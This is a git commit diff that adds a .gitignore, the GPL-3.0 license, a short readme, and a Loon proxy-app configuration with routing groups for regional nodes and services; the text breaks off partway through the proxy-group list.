commit cd32a8c7e5959712dca9839c37a0d0d4c3934a36 Author: king Date: Mon Jun 30 21:59:46 2025 +0800 Initial commit: new history diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..86fd23b4 --- /dev/null +++ b/.gitignore @@ -0,0 +1,36 @@ +# macOS 系统文件 +.DS_Store +**/.DS_Store +.AppleDouble +.LSOverride +.Spotlight-V100 +.Trashes +.fseventsd +.TemporaryItems + +# IntelliJ IDEA 配置文件 +.idea/ +*.iml +*.ipr +*.iws +modules.xml +workspace.xml +navEditor.xml + +# 通用忽略项 +*~ +*.log +*.tmp +*.bak +.vscode/ +.history/ + +# 默认忽略的文件 +/shelf/ +/workspace.xml +# 基于编辑器的 HTTP 客户端请求 +/httpRequests/ +# CodeStream ignored files +/codestream.xml +# node依赖 +./node_modules \ No newline at end of file diff --git a/Egern/readme.md b/Egern/readme.md new file mode 100644 index 00000000..92583146 --- /dev/null +++ b/Egern/readme.md @@ -0,0 +1 @@ +## 你可以借助转换工具 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 将本仓库中的配置转换到Egern中 diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..f288702d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Loon/config/Loon.conf b/Loon/config/Loon.conf new file mode 100644 index 00000000..50099925 --- /dev/null +++ b/Loon/config/Loon.conf @@ -0,0 +1,210 @@ +# Loon自用配置 +# 注意事项: 以下内容中,带“#”开头的行都是注释,去掉注释符号该行才有效 +# 重要提示:导入本文件会覆盖原本配置,请谨慎使用 +# 文件地址:https://raw.githubusercontent.com/fmz200/wool_scripts/main/Loon/config/Loon.conf +# 交流群组:https://t.me/lanjieguanggao +# 更新时间: 2024-10-27 13:00:00 +# 配置作者: fmz200 + +# ===================================== +# General +# ===================================== +[General] +ip-mode = ipv4-only +disable-stun = false +dns-reject-mode = LoopbackIP +domain-reject-mode = DNS +udp-fallback-mode = REJECT +sni-sniffing = true +disconnect-on-policy-change = false +switch-node-after-failure-times = 3 +# > 跳过某个域名或者IP段 +skip-proxy = 192.168.0.0/16,10.0.0.0/8,172.16.0.0/12,localhost,*.local,e.crashlynatics.com +bypass-tun = 10.0.0.0/8,100.64.0.0/10,127.0.0.0/8,169.254.0.0/16,172.16.0.0/12,192.0.0.0/24,192.0.2.0/24,192.88.99.0/24,192.168.0.0/16,198.51.100.0/24,203.0.113.0/24,224.0.0.0/4,255.255.255.255/32 +# > DNS 服务器 +dns-server = system +interface-mode = auto +# Wi-Fi 访问 +# > 允许 Wi-Fi 网络下其它设备访问 +#allow-udp-proxy = false +allow-wifi-access = false +wifi-access-http-port = 7222 +wifi-access-socks5-port = 7221 +# > 代理测速 URL +proxy-test-url = http://www.google.com/generate_204 +internet-test-url = http://connectivitycheck.platform.hicloud.com/generate_204 +# > 测速超时 (s) +test-timeout = 5 +# > 解决一些ip请求无法匹配域名类规则的问题。real-ip指定的域名将不返回fake ip响应,直接将dns请求发往目标dns服务器 +#real-ip = msftconnecttest.com,msftncsi.com,*.msftconnecttest.com,*.msftncsi.com,*.srv.nintendo.net,*.stun.playstation.net,xbox.*.microsoft.com,*.xboxlive.com,*.battlenet.com.cn,*.battlenet.com,*.blzstatic.cn,*.battle.net +# 解析器 +resource-parser = https://gitlab.com/sub-store/Sub-Store/-/releases/permalink/latest/downloads/sub-store-parser.loon.min.js +# geoip +geoip-url = https://github.com/Masaiki/GeoIP2-CN/raw/release/Country.mmdb +# ssid-trigger参数,用于指定SSID下流量模式切换,(default表示默认,cellular表示蜂窝,目前支持三种值:rule,direct,proxy) +# ssid-trigger="default":rule,"cellular":rule,"ASUS":direct,"TPLINK":proxy +ipasn-url = https://raw.githubusercontent.com/P3TERX/GeoLite.mmdb/download/GeoLite2-ASN.mmdb + + +# ===================================== +# Host +# ===================================== +[Host] + + +# ===================================== +# Proxy 本地的代理节点 +# ===================================== +[Proxy] + + +# ===================================== +# Remote Proxy 订阅链接 +# ===================================== +[Remote Proxy] + + +# ===================================== +# Proxy Group +# ===================================== +[Proxy Group] +大陆网址 = select,DIRECT,香港节点,澳门节点,台湾节点,美国节点,日本节点,韩国节点,狮城节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/taiwan(1).png +代理节点 = select,香港节点,狮城节点,美国节点,台湾节点,韩国节点,日本节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xray.png +兜底策略 = select,DIRECT,香港节点,澳门节点,台湾节点,狮城节点,美国节点,日本节点,韩国节点,英国节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_02.png +电报消息 = select,代理节点,香港节点,狮城节点,美国节点,日本节点,英国节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Telegram.png +微信消息 = select,DIRECT,香港节点,台湾节点,狮城节点,美国节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/wechat.png +微博服务 = select,DIRECT,香港节点,台湾节点,美国节点,狮城节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Weibo.png +海外抖音 = select,香港节点,台湾节点,狮城节点,韩国节点,美国节点,日本节点,英国节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/TikTok_1.png +大陆抖音 = select,香港节点,澳门节点,台湾节点,美国节点,日本节点,韩国节点,狮城节点,英国节点,其他节点,DIRECT,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/TikTok_2.png +人工智能 = select,美国节点,日本节点,狮城节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/OpenAI.png +苹果服务 = select,DIRECT,代理节点,香港节点,狮城节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/apple(1).png +微软服务 = select,DIRECT,香港节点,美国节点,狮城节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Orz-3/mini/master/Color/Microsoft.png +谷歌服务 = select,代理节点,香港节点,狮城节点,美国节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Orz-3/mini/master/Color/Google.png +油管视频 = select,代理节点,香港节点,美国节点,日本节点,韩国节点,狮城节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/YouTube.png +国外媒体 = select,代理节点,狮城节点,香港节点,台湾节点,韩国节点,美国节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Streaming.png +港台番剧 = select,DIRECT,台湾节点,香港节点,url = http://cp.cloudflare.com/generate_204,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/StreamingSE.png +# 节点筛选 +香港节点 = url-test,HK_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Hong_Kong.png +澳门节点 = url-test,MO_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://gitlab.com/lodepuly/iconlibrary/-/raw/main/Flag_icon/120px/MO.png +台湾节点 = url-test,TW_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Taiwan.png +美国节点 = url-test,US_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/United_States.png +日本节点 = url-test,JP_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Japan.png +韩国节点 = url-test,KR_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Korea.png +狮城节点 = url-test,SG_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Singapore.png +英国节点 = url-test,UK_Filter,url = http://cp.cloudflare.com/generate_204,interval = 60,tolerance = 50,img-url = 